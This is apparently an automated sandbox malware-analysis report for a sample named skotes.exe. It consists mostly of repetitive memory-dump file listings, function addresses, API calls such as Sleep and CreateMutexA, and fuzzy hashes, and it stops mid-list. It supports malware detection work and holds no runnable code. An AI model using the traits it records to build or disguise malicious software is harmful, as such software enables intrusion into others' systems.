Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 61ac692cdf37b751a1942e81e27c3162a2af7c42ee33ac6d4b4371759dcf593b
Instruction ID: f6c89ab21ca878da90eb5fe3c90b32fa80be2c44773094cfafd03353d37133a5
Opcode Fuzzy Hash: 61ac692cdf37b751a1942e81e27c3162a2af7c42ee33ac6d4b4371759dcf593b
Instruction Fuzzy Hash: FE216071A00109AFDF06EFA4CC81DBEB7B9EF0A710F110025FA01BB2A1DB349D019BA0

Analysis Process: skotes.exePID: 7804, Parent PID: 7348COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1923
Total number of Limit Nodes:	9

Executed Functions

Function 0062652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0062652A,?,?,?,?,?,00627661), ref: 00626567

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 5516207fc3feab7934f7867b2cce1066f3622947314dad986fbacea9e80f981e
Instruction ID: db35a2a2b6368c260a3aa1116de3e4f467961f3fe06293f4cacd35207bcf30a5
Opcode Fuzzy Hash: 5516207fc3feab7934f7867b2cce1066f3622947314dad986fbacea9e80f981e
Instruction Fuzzy Hash: 91E086300119186FCE66BF18DC09D993B2AFB02745F000C04F80596221CB65ED41CE45

Function 005F9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: e2467fbf8e845feb60587e332dd5e16acdd73559f4f88529c21c635e6ce35bf6
Instruction ID: 69b923f3166bf7f1505021c5901aa0d2346a732bbe52f8f70b88a1fac18b625b
Opcode Fuzzy Hash: e2467fbf8e845feb60587e332dd5e16acdd73559f4f88529c21c635e6ce35bf6
Instruction Fuzzy Hash: A8312A716446088BEB08DB7CDD8577EBFA3FB82315F248618E118DB3DAC7B959808752

Function 005F9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: ddcd7d4ed3a90aee00f4dc3cd7aef2fe51c1a54b4e18f28b62590f5691c7d6c7
Instruction ID: 50b5252420a1ac8cd662a46c5dd381b1d66a810cbdf14495025bf9451d6636ef
Opcode Fuzzy Hash: ddcd7d4ed3a90aee00f4dc3cd7aef2fe51c1a54b4e18f28b62590f5691c7d6c7
Instruction Fuzzy Hash: FF312A716102088BEB08DB7CDD8977DBBA6FB85310F244619E118DB3D5D7B959808753

Function 005FA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260352068.000000000086D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260373862.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260404797.0000000000878000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260434873.0000000000879000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260466364.000000000087A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260490758.0000000000881000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260517228.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260539615.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260563369.000000000089C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.000000000089E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260583746.00000000008BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260637922.00000000008E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260660766.00000000008E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260686363.00000000008E8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260709668.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260730795.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260754021.00000000008FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260774105.00000000008FD000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 1411015fcaae064d1219ae35c56bd9ee9273469841bfc75ef3f253c03179727b
Instruction ID: d32a4ea60bdd37373b364943b201534bb6120c565acdd8618056350d7286e070
Opcode Fuzzy Hash: 1411015fcaae064d1219ae35c56bd9ee9273469841bfc75ef3f253c03179727b
Instruction Fuzzy Hash: 643139B16502089BEB08DB78DD89B7DBB67EB81310F204618E118DB3D5C7BA59808753

Function 005FA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2259427952.00000000005F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2259402438.00000000005F0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259427952.0000000000652000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259545942.0000000000659000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259564975.000000000065B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259588358.0000000000667000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259725483.00000000007C3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259747921.00000000007C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007DA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259777672.00000000007E7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259832080.00000000007FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259854853.00000000007FF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259900428.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259940473.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2259982801.0000000000848000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260015325.0000000000849000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260047335.000000000084A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260078000.000000000084E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260108096.000000000084F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260139428.0000000000856000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260170661.0000000000864000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260199799.0000000000865000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260227591.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260263618.0000000000869000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260296280.000000000086A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2260324771.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
